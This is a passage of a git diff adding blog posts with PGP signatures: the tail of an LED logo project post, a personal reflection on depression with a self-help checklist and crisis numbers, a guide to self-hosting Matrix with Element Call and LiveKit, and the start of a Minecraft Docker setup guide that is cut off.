to a trace, UV mask to seal. Ugly heroics, but it works. + +Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable... So... yea. + +--- + +## 10) Why these design choices? + +- **Calm motion, not flashy.** Meeting rooms breed fatigue; the light should be a helper, not a distraction. +- **Cyan→Purple language.** Easy to learn, visible at a glance, meaningful without numbers. +- **White charts, dark UI.** Data should be legible on a projector; buttons shouldn’t shout. +- **Safe Mode default.** People first. Demos are opt‑in. +- **PLA body, PLA diffuser.** Fast and easy rapid prototyping, easy and fast printing. + +--- + +## 11) What I learned + +- A logo is a better messenger than a dashboard. +- Everyone knows what **orange** means without a legend. +- If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! +- Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ + +--- + +## 12) Final notes +I did this project as a fun distraction and "not work" as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I'm so so thankful of my advisor for this cool idea, and all the support. It's not the first time I've been gifted such toys, and as I have recieved other things after that, I know it's not the last. + +There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let's hope that doesn't turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!* + +The whole project took around 8 days, 4 of which were part of a long weekend. I did do some "not work" as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don't know how the group feels/thinks about the logo, but I love it! I hope it won't die after I leave, but even if so, so be it. I had my fun with it. :) + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/inet_logo.md.asc b/public-onion/sources/posts/inet_logo.md.asc new file mode 100644 index 0000000..ae07e1c --- /dev/null +++ b/public-onion/sources/posts/inet_logo.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93 +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13 +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8= +=tAeg +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/loop_of_doom.md b/public-onion/sources/posts/loop_of_doom.md new file mode 100644 index 0000000..af253f9 --- /dev/null +++ b/public-onion/sources/posts/loop_of_doom.md @@ -0,0 +1,108 @@ ++++ +title = 'The Loop of Doom' +date = 2025-11-07T13:45:52Z +draft = false ++++ + +It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn't. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I've been feeling more down, sad, exhausted. I've been wanting to stay alone at home. To rest. And then I get stressed and sad because I'm not doing anything. I get the feeling of worthlessness a lot lately. It's exhausting. + +Funny how I loved my research, the group, the people, hanging out, trying new things. It's just funny how everything changed all of the sudden. How I don't feel anything anymore. How sad I've been. How down I've been. My cognitive functions, my memory and everything has been also badly damaged. It's just horrible. + +I've been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me. + +I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said "why do you want to label things?". + +This is actually a really valid question. I don't know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk. + +This is what I call the loop of doom. MDD. I don't even know if I'm experiencing it or not. All I know is that things are not right, and I don't feel well. + +Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn't work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world. + +I'm happy that I've not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure. + +It's sad because I can see it in my monthly reports, in the [PhD_journey](https://blog.alipourimjourneys.ir/phd_journey/) page of my blog. I can see how bad last month was, and I know this month has not been any better. It's just scary, and sad. I know I'm losing precious time that I cannot get back. I know at some point I'm expected to deliver results that I won't have, and I know I won't like myself when this inevitable happens. + +I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I've been told to do by my brother in the meanwhile: +- Going for short walks +- Doing small tasks that make me feel good +- idk... I don't remember anything else. + +ChatGPT also gave me some advice, I'll copy it here: +```markdown= +# 14‑Day Reset — Daily Checklist + +**Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ + +### How to use (60 seconds) + +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. + +### Define today’s Minimum Reliable Dose (MRD) + +*(Write clear, tiny actions with a start line → action → done proof.)* + +* **Study MRD:** ________________________________________________________________ +* --- +* **Work/Code MRD:** ____________________________________________________________ +* --- + +--- + +### Daily tracker (14 days) + +| Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | +| 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | +| 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | +| **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | + +--- + +### Quick reference + +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). + +**Code — restart protocol:** + +1. Open repo → `git status` → run tests/linter → open last‑changed file. +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. + +--- + +### Safety net (Germany) + +* **Emergency:** 112 +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 + If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. +``` + +Lmao. I wonder how things will progress in the future, and how I'll do. Was it really because of a failed relationship? Really? Something that never happened? I don't believe it, it's not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn'tve these feelings. Maybe, just maybe. + +But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn't being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right. + +Darn. That is a lot. Lot of bad things. Back to back to back. + +Ok. Let's break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don't. But I will figure it out and make it work. I have to. I ain't, and I wasn't brought up like this. Let's fleaping go... + +I try to keep ya'll, the empty list of people, updated. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/loop_of_doom.md.asc b/public-onion/sources/posts/loop_of_doom.md.asc new file mode 100644 index 0000000..35108ce --- /dev/null +++ b/public-onion/sources/posts/loop_of_doom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1 +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6 +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1 +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU= +=Cuma +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/matrix_setup.md b/public-onion/sources/posts/matrix_setup.md new file mode 100644 index 0000000..7ddf478 --- /dev/null +++ b/public-onion/sources/posts/matrix_setup.md @@ -0,0 +1,426 @@ +--- +title: "Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)" +date: 2025-08-26 +tags: ["matrix", "synapse", "element-call", "livekit", "coturn", "nginx", "webrtc", "self-hosting", "debugging"] +draft: false +description: "How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls." +cover: + image: "/images/matrix-cover.png" + alt: "Matrix, Signal but distributed" + caption: "Distributed end-to-end encrypted chat platform" + relative: true + hidden: false +--- + +> TL;DR: The call kept saying **“waiting for media”** because the browser never opened a WebSocket to LiveKit. The root cause was **duplicate `Access-Control-Allow-Origin` headers** on `/sfu/get` (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP **101** in logs) solved it. + +## What I'm building + +- A **Matrix homeserver** (Synapse) at `matrix.example.com` (replace with your domain). +- **TURN/STUN** (coTURN) for NAT traversal. +- **Element Call** backed by **LiveKit**, fronted by `rtc.example.com`. +- **Nginx (host)** as the single reverse proxy for everything. +- **Cloudflare** DNS (with `rtc.*` set to **DNS-only**, no orange cloud). +- **UFW** firewall opened for Matrix federation, TURN, and LiveKit media ports. + +> I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used **host** Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. + +--- + +## Prereqs + +- DNS A/AAAA: + - `matrix.example.com` → your server (v4/v6) + - `rtc.example.com` → your server (v4/v6) +- Certificates: + - `matrix.example.com` and `rtc.example.com` via Let’s Encrypt on the host +- Cloudflare: **DNS-only (grey cloud)** for `rtc.example.com` so WebSockets & UDP work without interference. +- UFW / firewall open: + - 80/tcp, 443/tcp + - 8448/tcp (Matrix federation) + - 3478/tcp, 3478/udp and **5349/tcp** (TURN/TLS) + - **LiveKit**: 7881/tcp and **50100–50200/udp** (or your chosen range) +- Docker + docker compose installed. + +--- + +## Synapse + PostgreSQL + +### 1) The PostgreSQL collation gotcha + +Synapse prefers the database collation **`C`**. If your Postgres cluster was initialized with `en_US.utf8`, Synapse will error like: + +``` +Database has incorrect collation of 'en_US.utf8'. Should be 'C' +``` + +**Two ways to resolve:** + +- **Preferred (clean)**: Re-initialize the Postgres **cluster** with `C` and `UTF-8`: + +```yaml +# docker-compose.yml (excerpt for Postgres) +services: + db: + image: postgres:16 + environment: + POSTGRES_DB: synapse + POSTGRES_USER: synapse + POSTGRES_PASSWORD: + POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C" + volumes: + - ./pgdata:/var/lib/postgresql/data +``` + +> Requires wiping the volume and recreating the DB. + +- **Pragmatic (works quickly)**: In Synapse’s DB config, set `allow_unsafe_locale: true`. This bypasses the check. It’s fine for hobby use; for production, prefer the clean `C` cluster. + +### 2) Start Synapse and generate config + +```bash +docker compose up -d db synapse +# Logs +docker compose logs --tail=200 synapse +``` + +Ensure Synapse prints your **server_name** and **public base URL** and stays up. + +### 3) Create an admin user + +```bash +# Exec into the running Synapse container: +docker compose exec synapse register_new_matrix_user \ + -c /data/homeserver.yaml -u -p \ + -a -k +``` + +> If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use `docker compose exec synapse …` against the running container. + +--- + +## TURN (coTURN) + +### 1) Avoid bad inline comments + +If you see errors like: + +``` +ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. +``` + +…it means a `#` comment is on the **same line** as a boolean directive. Move comments to their own lines. + +### 2) Minimal `turnserver.conf` + +```ini +listening-port=3478 +tls-listening-port=5349 +fingerprint +use-auth-secret +static-auth-secret= # also set in Synapse +realm=example.com # used in creds generation +total-quota=0 +bps-capacity=0 +cli-password= +no-cli +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem +# If behind NAT: +# external-ip=/ +``` + +### 3) Wire TURN into Synapse + +In `homeserver.yaml`: + +```yaml +turn_uris: + - "turn:turn.example.com?transport=udp" + - "turn:turn.example.com?transport=tcp" + - "turns:turn.example.com:5349?transport=tcp" +turn_shared_secret: "" +turn_user_lifetime: "1d" +``` + +Verify the homeserver issues TURN creds: + +```bash +TOKEN='' +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq +``` + +You should see `uris`, a time-limited `username` and `password`. + +--- + +## Nginx (host) for Synapse and federation + +Create `/etc/nginx/conf.d/matrix.conf`: + +```nginx +# Client traffic on 443 +server { + listen 443 ssl; listen [::]:443 ssl; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + # Proxy client & admin APIs to Synapse (container) on 8008 + location ~ ^(/_matrix|/_synapse/client) { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } + + # Advertise homeserver base + RTC focus (MSC4143) via .well-known + location = /.well-known/matrix/client { + default_type application/json; + add_header Access-Control-Allow-Origin "*" always; + return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}'; + } +} + +# Federation on 8448 +server { + listen 8448 ssl http2; listen [::]:8448 ssl http2; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } +} +``` + +Reload and sanity check: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -s https://matrix.example.com/.well-known/matrix/client | jq +``` + +Also check Synapse supports RTC signaling (MSC4140) so clients actually use it: + +```bash +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' +# expect: true +``` + +--- + +## Element Call + LiveKit + +I’ll run **LiveKit** and the small **JWT helper** (Element’s `elementcall_jwt`) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects. + +### 1) LiveKit config (`/etc/livekit.yaml` inside container) + +```yaml +port: 7880 +bind_addresses: ["0.0.0.0"] +rtc: + tcp_port: 7881 + port_range_start: 50100 + port_range_end: 50200 + use_external_ip: true +logging: + level: info +turn: + enabled: false +keys: + lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________" +``` + +> **Important:** the secret must be **>= 32 chars**. The default `devkey` will trigger `secret is too short` warnings and won’t work with the JWT helper. + +### 2) elementcall_jwt env + +Run it with: + +- `LIVEKIT_URL=wss://rtc.example.com` _(root WS URL, **no** `/livekit/sfu` path)_ +- `LIVEKIT_KEY=lk_prod_1` +- `LIVEKIT_SECRET=` +- `LIVEKIT_JWT_PORT=8080` (internal HTTP port the proxy will hit) +- Optionally: `LIVEKIT_FULL_ACCESS_HOMESERVERS=*` during setup + +Check logs on start; it prints the LIVEKIT_URL it will advertise. + +### 3) Nginx (host) for `rtc.example.com` + +Create `/etc/nginx/conf.d/rtc.conf`: + +```nginx +server { + listen 443 ssl; listen [::]:443 ssl; + server_name rtc.example.com; + + ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; + + access_log /var/log/nginx/rtc.access.log combined; + + # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) + location = /sfu/get { + proxy_hide_header Access-Control-Allow-Origin; + add_header Access-Control-Allow-Origin $http_origin always; + add_header Vary "Origin" always; + add_header Access-Control-Allow-Methods "POST, OPTIONS" always; + add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always; + if ($request_method = OPTIONS) { return 204; } + + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt + } + + # 3b) LiveKit WS & HTTP (catch-all) + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # "livekit" + proxy_set_header Origin $http_origin; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_buffering off; + proxy_read_timeout 3600s; + proxy_pass http://127.0.0.1:7880; # livekit + } +} +``` + +Reload and basic checks: + +```bash +sudo nginx -t && sudo systemctl reload nginx +# JWT preflight (should return a single ACAO header) +curl -si -X OPTIONS https://rtc.example.com/sfu/get \ + -H 'Origin: https://app.element.io' \ + -H 'Access-Control-Request-Method: POST' \ + -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p' +# Expected: one Access-Control-Allow-Origin and 200/204 +``` + +> **Why I did this:** I initially had **two** `Access-Control-Allow-Origin` headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything. + +--- + +## The “waiting for media” debugging story (how I found it) + +Symptom: Element Call created rooms, but calls stayed on **“waiting for media.”** + +What worked: +- `elementcall_jwt` could **CreateRoom** in LiveKit (seen in logs). +- TURN creds endpoint returned time-limited credentials. + +What didn’t appear: +- No **HTTP 101** lines in `rtc.access.log` → the **browser never established a WebSocket** to LiveKit. + +### Step 1: prove the WS vhost works (even without auth) + +```bash +curl -v --http1.1 \ + -H 'Connection: Upgrade' -H 'Upgrade: websocket' \ + -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \ + -H 'Sec-WebSocket-Version: 13' \ + https://rtc.example.com/rtc -o /dev/null +``` +Result: I got a `401` (expected), but importantly I saw a log line in `rtc.access.log`. So **Nginx WS proxying was fine**. + +### Step 2: check the browser console + +The smoking gun in DevTools: + +``` +Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. +``` + +The browser refused the JWT call due to duplicated **ACAO** headers, so no token → no WebSocket connect. + +**Fix:** in Nginx I added: + +```nginx +proxy_hide_header Access-Control-Allow-Origin; +add_header Access-Control-Allow-Origin $http_origin always; +add_header Vary "Origin" always; +``` + +…and ensured no other `add_header` created duplicates. After that, `/sfu/get` succeeded and the WebSocket to `wss://rtc.example.com` immediately followed (I saw **HTTP 101** in the logs). + +### Step 3: confirm LiveKit side + +Once the WS was up, LiveKit logs showed participants joining (not just `RoomService.CreateRoom`), and calls were established. + +--- + +## Useful verification commands + +```bash +# Synapse features (expect MSC4140 true) +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' + +# Well-known with RTC focus +curl -s https://matrix.example.com/.well-known/matrix/client | jq + +# TURN creds (with your access token) +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq + +# JWT health +curl -si -X POST https://rtc.example.com/sfu/get + +# LiveKit simple HTTP probe +curl -si https://rtc.example.com | head + +# Nginx logs (look for 101 Switching Protocols when a call starts) +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 ' +``` + +--- + +## Common pitfalls (I hit these so you don’t have to) + +- **Host Nginx vs Docker Nginx:** If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get `bind() ... already in use` and restart loops. Use **host** Nginx to reverse proxy to containers. +- **Nginx `http2` directive:** Old Nginx may not support the `http2` directive on `listen`. Use `listen 443 ssl;` (and add `http2` if your version supports it). +- **Certificate name mismatch:** Make sure `rtc.example.com`’s vhost uses a certificate **for that exact hostname** (initially I had the `matrix.*` cert on `rtc.*` and curl complained). +- **Postgres collation:** Either initialize the cluster with `C` or use `allow_unsafe_locale: true` in Synapse DB config to get running quickly. +- **CORS duplication on `/sfu/get`:** Only ONE `Access-Control-Allow-Origin` header. If the upstream adds it too, use `proxy_hide_header Access-Control-Allow-Origin;` on the Nginx location. +- **Cloudflare:** Use **DNS-only** for `rtc.*`. Proxies can interfere with WS and UDP paths. +- **Firewall:** Open the LiveKit UDP range and TURN ports on both v4 and v6. + +--- + +## Final checklist (print me) + +- [ ] `https://matrix.example.com/.well-known/matrix/client` returns **both** `m.homeserver.base_url` and `org.matrix.msc4143.rtc_foci` pointing to `https://rtc.example.com`. +- [ ] `/_matrix/client/versions` shows `"org.matrix.msc4140": true`. +- [ ] `/sfu/get` **preflight** returns **one** `Access-Control-Allow-Origin` and **200/204**. +- [ ] Starting a call creates **HTTP 101** entries to `wss://rtc.example.com` in `rtc.access.log`. +- [ ] LiveKit logs show **participants joining** (not just CreateRoom). +- [ ] `/voip/turnServer` returns time-limited TURN credentials. +- [ ] Cloudflare set to **DNS-only** for `rtc.*`. UFW allows 7881/tcp and your LiveKit UDP range. + +--- + +### Credits & tooling + +- Matrix Synapse, coTURN, LiveKit, Element Call. +- `curl`, `jq`, `docker compose logs`, Nginx access logs. These are your best friends. +- The debugging breakthrough was catching CORS errors in the browser console and looking for **HTTP 101** in Nginx logs. + +Happy calling! 🎉 + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/matrix_setup.md.asc b/public-onion/sources/posts/matrix_setup.md.asc new file mode 100644 index 0000000..28056d5 --- /dev/null +++ b/public-onion/sources/posts/matrix_setup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3 +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2 +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6 +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss= +=yHZZ +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/minecraft_server.md b/public-onion/sources/posts/minecraft_server.md new file mode 100644 index 0000000..8a70cd5 --- /dev/null +++ b/public-onion/sources/posts/minecraft_server.md @@ -0,0 +1,200 @@ +--- +title: "Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases" +date: 2025-09-29T09:06:29Z +draft: false +tags: ["minecraft", "docker", "paper", "papermod", "geyser", "linux", "lvm"] +categories: ["Homelab", "Games"] +toc: true +summary: "How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release." +--- + +## Why +I’ve been running a Java Minecraft world (with Bedrock players via **Geyser**) in `tmux`. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit: + +- `failed to register layer: ... no space left on device` +- Client saying: **“Outdated client, please use 1.21.9 Pre-Release 2”** +- Wanting config in a neat `.env` and **no whitelist** + +Here’s exactly what I did. + +--- + +## Folder layout +```bash +~/minecraft/ +├─ docker-compose.yml +├─ .env +└─ plugins/ +``` + +--- + +## `.env` (secrets & knobs) +Use the **latest stable** (not snapshots/pre-releases) by setting `VERSION=LATEST`. + +```env +# Minecraft server configuration +EULA=TRUE +TYPE=PAPER +VERSION=LATEST +MEMORY=4G +USE_AIKAR_FLAGS=true + +# RCON (remote console) +ENABLE_RCON=true +RCON_PASSWORD=superSecretPassword123 +``` + +> I don’t use a whitelist, so no `WHITELIST`/`ENFORCE_WHITELIST` variables. + +--- + +## `docker-compose.yml` +```yaml +services: + mc: + image: itzg/minecraft-server:latest + container_name: mc + restart: unless-stopped + ports: + - "25565:25565" # Java + - "19132:19132/udp" # Bedrock via Geyser plugin + env_file: + - .env + volumes: + - mc-data:/data + - ./plugins:/plugins:ro +volumes: + mc-data: {} +``` + +> The `version:` key in Compose is obsolete now, so I dropped it. + +--- + +## Add Geyser (and optional Floodgate) as plugins +```bash +mkdir -p ~/minecraft/plugins +cd ~/minecraft/plugins + +# Geyser (Spigot/Paper) +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar + +# Floodgate (optional: Bedrock accounts without Java linking) +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar +``` + +Start it up: +```bash +docker compose up -d +``` + +On first run, Geyser writes its config to `/data/plugins/Geyser-Spigot/`. Open UDP **19132** on your firewall. + +--- + +## Hit a wall: `/var` ran out of space +Docker stores layers at `/var/lib/docker` by default. My `/var` LV was tiny: + +``` +/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var +``` + +### Quick cleanup +```bash +docker system df +docker system prune -f +docker builder prune -af +sudo apt-get clean +sudo journalctl --vacuum-size=100M +``` + +If that’s not enough, you 